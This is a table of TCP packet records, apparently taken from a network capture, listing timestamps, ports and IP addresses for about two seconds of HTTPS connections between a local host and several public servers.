Nov 26, 2024 13:43:32.389158010 CET	49730	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.389417887 CET	49729	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.389436007 CET	443	49729	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.389617920 CET	49730	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.389627934 CET	443	49730	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.396456957 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.396522999 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.396539927 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.403022051 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.403090954 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.403105021 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.408828974 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.408885002 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.408898115 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.416136980 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.416189909 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.416199923 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.423136950 CET	443	49721	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.423502922 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.423571110 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.423578978 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.423679113 CET	49721	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.423701048 CET	443	49721	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.424223900 CET	49721	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.424230099 CET	443	49721	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.445558071 CET	443	49725	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.446454048 CET	49725	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.446475029 CET	443	49725	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.447478056 CET	49725	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.447483063 CET	443	49725	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.453692913 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.453757048 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.453785896 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.459181070 CET	443	49720	23.52.182.8	192.168.2.7
Nov 26, 2024 13:43:32.459259033 CET	443	49720	23.52.182.8	192.168.2.7
Nov 26, 2024 13:43:32.459336996 CET	49720	443	192.168.2.7	23.52.182.8
Nov 26, 2024 13:43:32.459482908 CET	49720	443	192.168.2.7	23.52.182.8
Nov 26, 2024 13:43:32.459511042 CET	443	49720	23.52.182.8	192.168.2.7
Nov 26, 2024 13:43:32.459521055 CET	49720	443	192.168.2.7	23.52.182.8
Nov 26, 2024 13:43:32.459527969 CET	443	49720	23.52.182.8	192.168.2.7
Nov 26, 2024 13:43:32.460587978 CET	443	49724	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.461302996 CET	49724	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.461323977 CET	443	49724	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.461738110 CET	49724	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.461744070 CET	443	49724	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.503942966 CET	49731	443	192.168.2.7	151.101.193.229
Nov 26, 2024 13:43:32.503993988 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:32.504129887 CET	49731	443	192.168.2.7	151.101.193.229
Nov 26, 2024 13:43:32.504355907 CET	49731	443	192.168.2.7	151.101.193.229
Nov 26, 2024 13:43:32.504381895 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:32.507787943 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.532999039 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.535646915 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.535693884 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.535723925 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.539550066 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.539597988 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.539609909 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.549951077 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.550008059 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.550024033 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.550102949 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.554039955 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.559115887 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.559173107 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.559195042 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.559247971 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.568283081 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.568290949 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.568337917 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.572994947 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.573002100 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.573067904 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.573067904 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.582973003 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.582983017 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.583029985 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.590630054 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.590684891 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.597508907 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.597564936 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.600804090 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.600857019 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.607533932 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.607590914 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.612915039 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.612971067 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.618575096 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.618628979 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.621397972 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.621452093 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.644627094 CET	49732	443	192.168.2.7	184.30.24.109
Nov 26, 2024 13:43:32.644665003 CET	443	49732	184.30.24.109	192.168.2.7
Nov 26, 2024 13:43:32.644738913 CET	49732	443	192.168.2.7	184.30.24.109
Nov 26, 2024 13:43:32.646387100 CET	49732	443	192.168.2.7	184.30.24.109
Nov 26, 2024 13:43:32.646401882 CET	443	49732	184.30.24.109	192.168.2.7
Nov 26, 2024 13:43:32.739873886 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.739945889 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.745177031 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.745235920 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.749876022 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.749933958 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.752378941 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.752439022 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.756175995 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.756236076 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.759991884 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.760049105 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.764453888 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.764516115 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.767124891 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.767195940 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.771794081 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.771863937 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.774694920 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.774750948 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.780087948 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.780138016 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.784956932 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.785012960 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.789602041 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.789660931 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.795304060 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.795362949 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.796559095 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.796608925 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.799325943 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.799376011 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.809523106 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.809576988 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.811510086 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.811566114 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.814606905 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.814670086 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.818355083 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.818409920 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.819365978 CET	443	49722	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.819447041 CET	443	49722	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.819580078 CET	49722	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.819773912 CET	49722	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.819787025 CET	443	49722	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.819799900 CET	49722	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.819804907 CET	443	49722	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.821095943 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.821181059 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.822866917 CET	443	49723	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.822925091 CET	443	49723	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.823069096 CET	49723	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.824270964 CET	49723	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.824270964 CET	49723	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.824291945 CET	443	49723	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.824304104 CET	443	49723	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.824646950 CET	49733	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.824676037 CET	443	49733	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.824788094 CET	49733	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.824963093 CET	49733	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.824978113 CET	443	49733	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.826235056 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.826298952 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.827332020 CET	49734	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.827357054 CET	443	49734	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.827531099 CET	49734	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.827760935 CET	49734	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.827775955 CET	443	49734	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.831487894 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.831548929 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.833733082 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.833820105 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.874036074 CET	443	49721	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.874098063 CET	443	49721	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.874243021 CET	49721	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.874339104 CET	49721	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.874339104 CET	49721	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.874349117 CET	443	49721	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.874356985 CET	443	49721	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.877480030 CET	49735	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.877510071 CET	443	49735	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.877638102 CET	49735	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.877824068 CET	49735	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.877835989 CET	443	49735	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.884432077 CET	443	49725	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.884497881 CET	443	49725	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.884602070 CET	49725	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.884740114 CET	49725	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.884752989 CET	443	49725	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.884763956 CET	49725	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.884768963 CET	443	49725	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.887303114 CET	49736	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.887361050 CET	443	49736	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.887430906 CET	49736	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.887568951 CET	49736	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.887588024 CET	443	49736	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.916951895 CET	443	49724	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.917011023 CET	443	49724	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.917109013 CET	49724	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.917349100 CET	49724	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.917370081 CET	443	49724	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.917382002 CET	49724	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.917387962 CET	443	49724	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.920363903 CET	49737	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.920386076 CET	443	49737	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.920449018 CET	49737	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.920622110 CET	49737	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:32.920633078 CET	443	49737	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:32.965739965 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.965820074 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.970269918 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.970335007 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.971265078 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.971329927 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.982723951 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.982733011 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.982781887 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.982784986 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.982836008 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.982850075 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.982855082 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.982899904 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.994728088 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.994748116 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:32.994822025 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:32.994833946 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.000252962 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.000308990 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.000318050 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.000495911 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.013195992 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.013216972 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.013271093 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.013281107 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.013473988 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.024333954 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.024342060 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.024411917 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.024422884 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.025413036 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.034015894 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.034068108 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.034076929 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.034091949 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.034111023 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.034137011 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.043102026 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.043144941 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.043164968 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.043178082 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.043207884 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.043261051 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.043345928 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.043515921 CET	49719	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.043533087 CET	443	49719	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.628680944 CET	443	49728	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.629101038 CET	49728	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.629115105 CET	443	49728	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.630129099 CET	443	49728	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.630217075 CET	49728	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.630634069 CET	49728	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.630693913 CET	443	49728	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.630702019 CET	49728	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.630702019 CET	49728	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.630847931 CET	443	49728	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.630909920 CET	49728	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.630925894 CET	49728	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.631026983 CET	49738	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.631057978 CET	443	49738	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.631134987 CET	49738	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.631341934 CET	49738	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.631352901 CET	443	49738	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.650383949 CET	443	49730	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.650685072 CET	49730	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.650693893 CET	443	49730	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.651740074 CET	443	49730	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.651814938 CET	49730	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.652120113 CET	49730	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.652134895 CET	49730	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.652179956 CET	49730	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.652183056 CET	443	49730	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.652235031 CET	49730	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.652518034 CET	49739	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.652559042 CET	443	49739	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.652626038 CET	49739	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.652834892 CET	49739	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.652848005 CET	443	49739	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.702426910 CET	443	49729	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.702841997 CET	49729	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.702864885 CET	443	49729	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.705468893 CET	443	49729	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.705534935 CET	49729	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.706027031 CET	49729	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.706087112 CET	49729	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.706087112 CET	49729	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.706161976 CET	443	49729	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.706343889 CET	49740	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.706366062 CET	49729	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.706378937 CET	443	49740	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.706434965 CET	49740	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.706681013 CET	49740	443	192.168.2.7	172.66.0.102
Nov 26, 2024 13:43:33.706692934 CET	443	49740	172.66.0.102	192.168.2.7
Nov 26, 2024 13:43:33.795329094 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:33.795748949 CET	49731	443	192.168.2.7	151.101.193.229
Nov 26, 2024 13:43:33.795768976 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:33.796857119 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:33.796972990 CET	49731	443	192.168.2.7	151.101.193.229
Nov 26, 2024 13:43:33.798119068 CET	49731	443	192.168.2.7	151.101.193.229
Nov 26, 2024 13:43:33.798207998 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:33.798372030 CET	49731	443	192.168.2.7	151.101.193.229
Nov 26, 2024 13:43:33.842158079 CET	49731	443	192.168.2.7	151.101.193.229
Nov 26, 2024 13:43:33.842170000 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:33.889189959 CET	49731	443	192.168.2.7	151.101.193.229
Nov 26, 2024 13:43:34.116981983 CET	443	49732	184.30.24.109	192.168.2.7
Nov 26, 2024 13:43:34.117105961 CET	49732	443	192.168.2.7	184.30.24.109
Nov 26, 2024 13:43:34.118809938 CET	49732	443	192.168.2.7	184.30.24.109
Nov 26, 2024 13:43:34.118815899 CET	443	49732	184.30.24.109	192.168.2.7
Nov 26, 2024 13:43:34.119115114 CET	443	49732	184.30.24.109	192.168.2.7
Nov 26, 2024 13:43:34.120449066 CET	49732	443	192.168.2.7	184.30.24.109
Nov 26, 2024 13:43:34.163331985 CET	443	49732	184.30.24.109	192.168.2.7
Nov 26, 2024 13:43:34.232204914 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:34.232584953 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:34.232667923 CET	49731	443	192.168.2.7	151.101.193.229
Nov 26, 2024 13:43:34.232690096 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:34.233283997 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:34.233390093 CET	49731	443	192.168.2.7	151.101.193.229
Nov 26, 2024 13:43:34.233397007 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:34.250756025 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:34.250861883 CET	49731	443	192.168.2.7	151.101.193.229
Nov 26, 2024 13:43:34.250864029 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:34.250895023 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:34.250966072 CET	49731	443	192.168.2.7	151.101.193.229
Nov 26, 2024 13:43:34.254533052 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:34.263458014 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:34.263535976 CET	49731	443	192.168.2.7	151.101.193.229
Nov 26, 2024 13:43:34.263550997 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:34.310621023 CET	49731	443	192.168.2.7	151.101.193.229
Nov 26, 2024 13:43:34.353367090 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:34.398379087 CET	49731	443	192.168.2.7	151.101.193.229
Nov 26, 2024 13:43:34.398396015 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:34.433649063 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:34.433748007 CET	49731	443	192.168.2.7	151.101.193.229
Nov 26, 2024 13:43:34.433762074 CET	443	49731	151.101.193.229	192.168.2.7
Nov 26, 2024 13:43:34.445991039 CET	443	49731	151.101.193.229	192.168.2.7
